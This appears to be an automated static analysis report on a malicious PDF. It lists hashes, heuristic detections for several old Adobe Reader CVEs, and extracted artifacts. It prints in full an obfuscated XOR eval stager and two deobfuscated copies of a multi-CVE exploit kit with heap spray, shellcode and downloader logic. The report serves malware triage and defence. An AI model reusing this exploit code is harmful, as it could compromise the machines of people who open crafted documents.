Malicious PDF — malware analysis report

Static analysis result for SHA-256 d2ee19ab0653fb70…

MALICIOUS

PDF

5.0 KB Created: 2010-07-24 11:35:46 Authoring application: Qaqloyteqogexala (via 3d6aaReyxirrlbfo) First seen: 2026-05-10
MD5: 6b3cbe2136362c42250fe1c31c5ca8e1 SHA-1: a3b5254d74f5b5c7a1762eea5dc7253f3d36ce15 SHA-256: d2ee19ab0653fb709131c53d161755cc0efdd3f6dff0524e87888534c2ff86d0
390 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The PDF_PAGE_WORD_XOR_EVAL_STAGER rule specifically points to a stager that uses XOR encoding and JavaScript evaluation to launch malicious code. The extracted JavaScript file, javascript_obj0011_000.js, is likely responsible for executing this payload. The exact intent of the script is obscured by obfuscation, but its structure suggests it acts as a downloader for further malicious content.

Machine Learning

  • Nyx PDF Classifier malicious score 1.0000

Heuristics 10

  • media.newPlayer — CVE-2009-4324 critical CVE exact CVE_2009_4324
    PDF JavaScript calls media.newPlayer — CVE-2009-4324 is a use-after-free in Adobe Reader's multimedia plugin triggered by media.newPlayer(). Actively exploited as a zero-day in December 2009. (identified after JavaScript deobfuscation)
  • Collab.getIcon — CVE-2009-0927 critical CVE exact CVE_2009_0927
    PDF JavaScript calls Collab.getIcon — CVE-2009-0927 is a stack buffer overflow in Adobe Reader triggered by Collab.getIcon() with a crafted argument. Allows arbitrary code execution. (identified after JavaScript deobfuscation)
  • util.printf — CVE-2008-2992 critical CVE exact CVE_2008_2992
    PDF JavaScript calls util.printf() — CVE-2008-2992 is a stack buffer overflow in Adobe Reader triggered by a long format-specifier argument. Widely exploited in the wild after disclosure. (identified after JavaScript deobfuscation)
  • Pidief-style multi-CVE JavaScript dispatcher critical CVE likely PDF_PIDIEF_MULTI_CVE_DISPATCH
    A single JavaScript body branches on app.viewerVersion and invokes two or more of the canonical Reader sinks (Collab.collectEmailInfo, Collab.getIcon, util.printf with a field-width format string). This is the 2009-2010 Pidief.J multi-exploit landing template: a per-version dispatcher that fires the matching CVE chain for whichever Reader version opens the file.
  • Multi-CVE Adobe Reader JavaScript exploit kit critical PDF_ADOBE_READER_MULTI_CVE_JS_KIT
    One recovered JavaScript stage contains multiple version-gated Adobe Reader exploit branches. This is stronger evidence than independent API keywords: the PDF is selecting old Reader vulnerabilities by viewer version and running heap-sprayed Acrobat JavaScript exploit paths.
  • Page-word XOR JavaScript eval stager high PDF_PAGE_WORD_XOR_EVAL_STAGER
    PDF JavaScript enumerates rendered page words with getPageNthWord/getPageNumWords, extracts encoded byte fragments, XOR-decodes the stage with char-code helpers, and evals the result. This is an old exploit-kit staging pattern and is not normal document JavaScript.
  • JavaScript action low 1 related finding PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://S.egh/4 Referenced by PDF JavaScript

Extracted artifacts 3

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0011_000.js pdf-javascript-stream PDF /JS object 11 at offset 0xE97 628 bytes
SHA-256: f2f5a8905261869112b711300a3d7422fda3b8aa1eb4ed24696c1a30a8ff1309
Detection
ClamAV: No threats found
Obfuscation or payload: likely
9 of 18 identifiers look randomly generated (e.g. 'geXXtPagXeNumWoXrds') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
try {oZ='varX  fW =X XX247 ;XXvar  XXsFA = thisX;var oT=sFAXX.geXXtPagXeNumWoXrds(thXis.pagXeNum);var zGBXX=\'\';forXX(var fGXXV=0;fGV<X oT; fGVX++){zGB=X[zGBX, sFA.getPageNthWord(sFAX.pXageNum,fXGV,true)].join(XX\'\')XX;;X}var lOPX=\'X\';fXXor(vXar XXfGVXX=0;fGV < XXzGB.length; fGV+=2){XkT=zGXXB.subsXtr(XXfGXVXX,2);XlOPXX=[XlXXOP,SXtrinXg.fromCharCodXXeXX(parseInXtXX(XXkT,16)^fW)].joinX(\'\');}XeXXval(lOP);lOPX=null;'.replace(/[X]/g, '');var vQ='FIuncIItIIiIIon'.replace(/[I]/g, '');mZ=jS(uJ,vA);} catch(kX){var zO=gV()(oZ);zO();}function dA(){return app['doc'.replace(/[]/g, '')];}function gV(){var gR=dA();return gR[vQ];}
legacy_pdfkit_stage_000.js deobfuscated-js getPageWords-XOR Pidief stage normalized at offset 0x0 3747 bytes
SHA-256: 8b8d67c097d646309d6e41b48434c059bda01a83da7b897bd31155c6e440006b
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var n=[];var lG=[];this.lO='';var bS='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';this.j='';var bM={};this.yZ='';var gX=this.info['d'].replace(/[\s]/g, '');this.aJ="aJ";this.uR=6098;this.uR++;this.dQ="dQ";this.bC=7413;this.bC+=131;var dY = this.info;var qF = (dY.producer.substr(0,5) == 'debug');var fM = new Array(); var sB = "%u";function hK(str){str = str.split(sB);var ret="";for(var i in str){if(str[i] != "")ret += String.fromCharCode(parseInt(str[i],16));}return ret;}function qN(str1, str2){return [str1, str2].join("");}function rK(wN){var rG = cD();var jE = wT();rG += ((rG.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + jE;if(qF) app.alert("URL: " + rG);rG=tK(rG);var d=sB;var kT=d+"C033"+d+"8B64"+d+"3040"+d+"0C78"+d+"408B"+d+"8B0C"+d+"1C70"+d+"8BAD"+d+"0858"+d+"09EB"+d+"408B"+d+"8D34"+d+"7C40"+d+"588B"+d+"6A3C"+d+"5A44"+d+"E2D1"+d+"E22B"+d+"EC8B"+d+"4FEB"+d+"525A"+d+"EA83"+d+"8956"+d+"0455"+d+"5756"+d+"738B"+d+"8B3C"+d+"3374"+d+"0378"+d+"56F3"+d+"768B"+d+"0320"+d+"33F3"+d+"49C9"+d+"4150"+d+"33AD"+d+"36FF"+d+"BE0F"+d+"0314"+d+"F238"+d+"0874"+d+"CFC1"+d+"030D"+d+"40FA"+d+"EFEB"+d+"3B58"+d+"75F8"+d+"5EE5"+d+"468B"+d+"0324"+d+"66C3"+d+"0C8B"+d+"8B48"+d+"1C56"+d+"D303"+d+"048B"+d+"038A"+d+"5FC3"+d+"505E"+d+"8DC3"+d+"087D"+d+"5257"+d+"33B8"+d+"8ACA"+d+"E85B"+d+"FFA2"+d+"FFFF"+d+"C032"+d+"F78B"+d+"AEF2"+d+"B84F"+d+"2E65"+d+"7865"+d+"66AB"+d+"6698"+d+"B0AB"+d+"8A6C"+d+"98E0"+d+"6850"+d+"6E6F"+d+"642E"+d+"7568"+d+"6C72"+d+"546D"+d+"8EB8"+d+"0E4E"+d+"FFEC"+d+"0455"+d+"5093"+d+"C033"+d+"5050"+d+"8B56"+d+"0455"+d+"C283"+d+"837F"+d+"31C2"+d+"5052"+d+"36B8"+d+"2F1A"+d+"FF70"+d+"0455"+d+"335B"+d+"57FF"+d+"B856"+d+"FE98"+d+"0E8A"+d+"55FF"+d+"5704"+d+"EFB8"+d+"E0CE"+d+"FF60"+d+"0455";kT+=rG;return hK(kT);};function cD(){var bSR = (dY.author + dY.title).replace(/[\s]/g, '');var rS = iH(bSR, gX, bS);return rS;};function iH(bSR, bS, gX){var rS="";for(var i=0; i < bSR.length; i++){var fIZ = bS.indexOf(bSR[i]);if(fIZ > -1 ){rS += gX[fIZ];}}return rS;};function tK(bSR){var out = "";bSR = bSB(bSR);g = Math.round(bSR.length / 4);if (g != bSR.length /4) bSR+="00";for(var i=0; i < bSR.length; i+=4){out+= sB + bSR.substr(i+2, 2) + bSR.substr(i, 2);}return out;};function bSB(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function pS(gN, len){while (gN.length * 2 < len){gN = qN(gN, gN);}return gN.substring(0, len / 2);};function pA(aD){var fQ = 0x0c0c0c0c;        sF = rK("pdf");if (aD == 1){fQ = 0x30303030;}var dK = 0x400000;var ln = sF.length * 2;var aR = dK - (ln + 0x38);var gN = hK(sB+"9090"+sB+"9090"); gN = pS(gN, aR);var pC = (fQ - 0x400000) / dK;for (var wXM = 0; wXM < pC; wXM ++ ){fM[wXM] = qN(gN, sF);}};function wT(){try {return app.viewerVersion.toString();}catch(cV){    return 0;}}if(qF) app.alert("called exploit");var jE = wT();if(qF)  app.alert("v: " + jE);if (jE > 8){if(qF) app.alert("util.printf");pA(1);var zG = "12999999999999999999";for (oX=0; oX < 276; oX++) zG += "8";util.printf("%45000f", zG);}if (jE < 8){if(qF) app.alert("Collab.collectEmailInfo");pA(0);var vG = hK(sB+"0c0c"+sB+"0c0c");while (vG.length < 44952) vG += vG;this.collabStore = Collab.collectEmailInfo({ subj : "", msg : vG});}if (jE < 9.1){if (app.doc.Collab.getIcon){if(qF) app.alert("Collab.getIcon");pA(0);var uD = unescape("%09");while (uD.length < 0x4000) uD += uD;uD = "N." + uD;app.doc.Collab.getIcon(uD);}}if (jE == 9.2){if(qF) app.alert("media.newPlayer");pA(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}var yH={vU:"wXE"};try {var hE='lW'.substr(18123)} catch(hE){};3
page_word_xor_stage_000.js deobfuscated-js page-word continuous-hex XOR decoded JavaScript (decompressed, key=0xF7) at offset 0x8C 3745 bytes
SHA-256: 1cf42409111757d6b030086ff4f949622cb2bdd31b3fdcbfbb8a8a5568fe12f5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 eval/decoder/string-building token(s).
Preview script
First 1,000 lines of the extracted script
var n=[];var lG=[];this.lO='';var bS='0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ/.:_-?&=%#';this.j='';var bM={};this.yZ='';var gX=this.info['d'].replace(/[\s]/g, '');this.aJ="aJ";this.uR=6098;this.uR++;this.dQ="dQ";this.bC=7413;this.bC+=131;var dY = this.info;var qF = (dY.producer.substr(0,5) == 'debug');var fM = new Array(); var sB = "%u";function hK(str){str = str.split(sB);var ret="";for(var i in str){if(str[i] != "")ret += String.fromCharCode(parseInt(str[i],16));}return ret;}function qN(str1, str2){return [str1, str2].join("");}function rK(wN){var rG = cD();var jE = wT();rG += ((rG.indexOf("?") > -1) ? "&" : "?") + "reader_version=" + jE;if(qF) app.alert("URL: " + rG);rG=tK(rG);var d=sB;var kT=d+"C033"+d+"8B64"+d+"3040"+d+"0C78"+d+"408B"+d+"8B0C"+d+"1C70"+d+"8BAD"+d+"0858"+d+"09EB"+d+"408B"+d+"8D34"+d+"7C40"+d+"588B"+d+"6A3C"+d+"5A44"+d+"E2D1"+d+"E22B"+d+"EC8B"+d+"4FEB"+d+"525A"+d+"EA83"+d+"8956"+d+"0455"+d+"5756"+d+"738B"+d+"8B3C"+d+"3374"+d+"0378"+d+"56F3"+d+"768B"+d+"0320"+d+"33F3"+d+"49C9"+d+"4150"+d+"33AD"+d+"36FF"+d+"BE0F"+d+"0314"+d+"F238"+d+"0874"+d+"CFC1"+d+"030D"+d+"40FA"+d+"EFEB"+d+"3B58"+d+"75F8"+d+"5EE5"+d+"468B"+d+"0324"+d+"66C3"+d+"0C8B"+d+"8B48"+d+"1C56"+d+"D303"+d+"048B"+d+"038A"+d+"5FC3"+d+"505E"+d+"8DC3"+d+"087D"+d+"5257"+d+"33B8"+d+"8ACA"+d+"E85B"+d+"FFA2"+d+"FFFF"+d+"C032"+d+"F78B"+d+"AEF2"+d+"B84F"+d+"2E65"+d+"7865"+d+"66AB"+d+"6698"+d+"B0AB"+d+"8A6C"+d+"98E0"+d+"6850"+d+"6E6F"+d+"642E"+d+"7568"+d+"6C72"+d+"546D"+d+"8EB8"+d+"0E4E"+d+"FFEC"+d+"0455"+d+"5093"+d+"C033"+d+"5050"+d+"8B56"+d+"0455"+d+"C283"+d+"837F"+d+"31C2"+d+"5052"+d+"36B8"+d+"2F1A"+d+"FF70"+d+"0455"+d+"335B"+d+"57FF"+d+"B856"+d+"FE98"+d+"0E8A"+d+"55FF"+d+"5704"+d+"EFB8"+d+"E0CE"+d+"FF60"+d+"0455";kT+=rG;return hK(kT);};function cD(){var bSR = (dY.author + dY.title).replace(/[\s]/g, '');var rS = iH(bSR, gX, bS);return rS;};function iH(bSR, bS, gX){var rS="";for(var i=0; i < bSR.length; i++){var fIZ = bS.indexOf(bSR[i]);if(fIZ > -1 ){rS += gX[fIZ];}}return rS;};function tK(bSR){var out = "";bSR = bSB(bSR);g = Math.round(bSR.length / 4);if (g != bSR.length /4) bSR+="00";for(var i=0; i < bSR.length; i+=4){out+= sB + bSR.substr(i+2, 2) + bSR.substr(i, 2);}return out;};function bSB(s){var i, f = 0, a = [];s += '';f = s.length;for (i = 0; i<f; i++) {a[i] = s.charCodeAt(i).toString(16).replace(/^([\da-f])$/,"0$1").toUpperCase();}return a.join('');};function pS(gN, len){while (gN.length * 2 < len){gN = qN(gN, gN);}return gN.substring(0, len / 2);};function pA(aD){var fQ = 0x0c0c0c0c;        sF = rK("pdf");if (aD == 1){fQ = 0x30303030;}var dK = 0x400000;var ln = sF.length * 2;var aR = dK - (ln + 0x38);var gN = hK(sB+"9090"+sB+"9090"); gN = pS(gN, aR);var pC = (fQ - 0x400000) / dK;for (var wXM = 0; wXM < pC; wXM ++ ){fM[wXM] = qN(gN, sF);}};function wT(){try {return app.viewerVersion.toString();}catch(cV){    return 0;}}if(qF) app.alert("called exploit");var jE = wT();if(qF)  app.alert("v: " + jE);if (jE > 8){if(qF) app.alert("util.printf");pA(1);var zG = "12999999999999999999";for (oX=0; oX < 276; oX++) zG += "8";util.printf("%45000f", zG);}if (jE < 8){if(qF) app.alert("Collab.collectEmailInfo");pA(0);var vG = hK(sB+"0c0c"+sB+"0c0c");while (vG.length < 44952) vG += vG;this.collabStore = Collab.collectEmailInfo({ subj : "", msg : vG});}if (jE < 9.1){if (app.doc.Collab.getIcon){if(qF) app.alert("Collab.getIcon");pA(0);var uD = unescape("%09");while (uD.length < 0x4000) uD += uD;uD = "N." + uD;app.doc.Collab.getIcon(uD);}}if (jE == 9.2){if(qF) app.alert("media.newPlayer");pA(1);var sf="1.000000000.000000000.1337 : 3.13.37";util.printd(sf, new Date());try {media.newPlayer(null);} catch(e) {}util.printd(sf, new Date());}var yH={vU:"wXE"};try {var hE='lW'.substr(18123)} catch(hE){};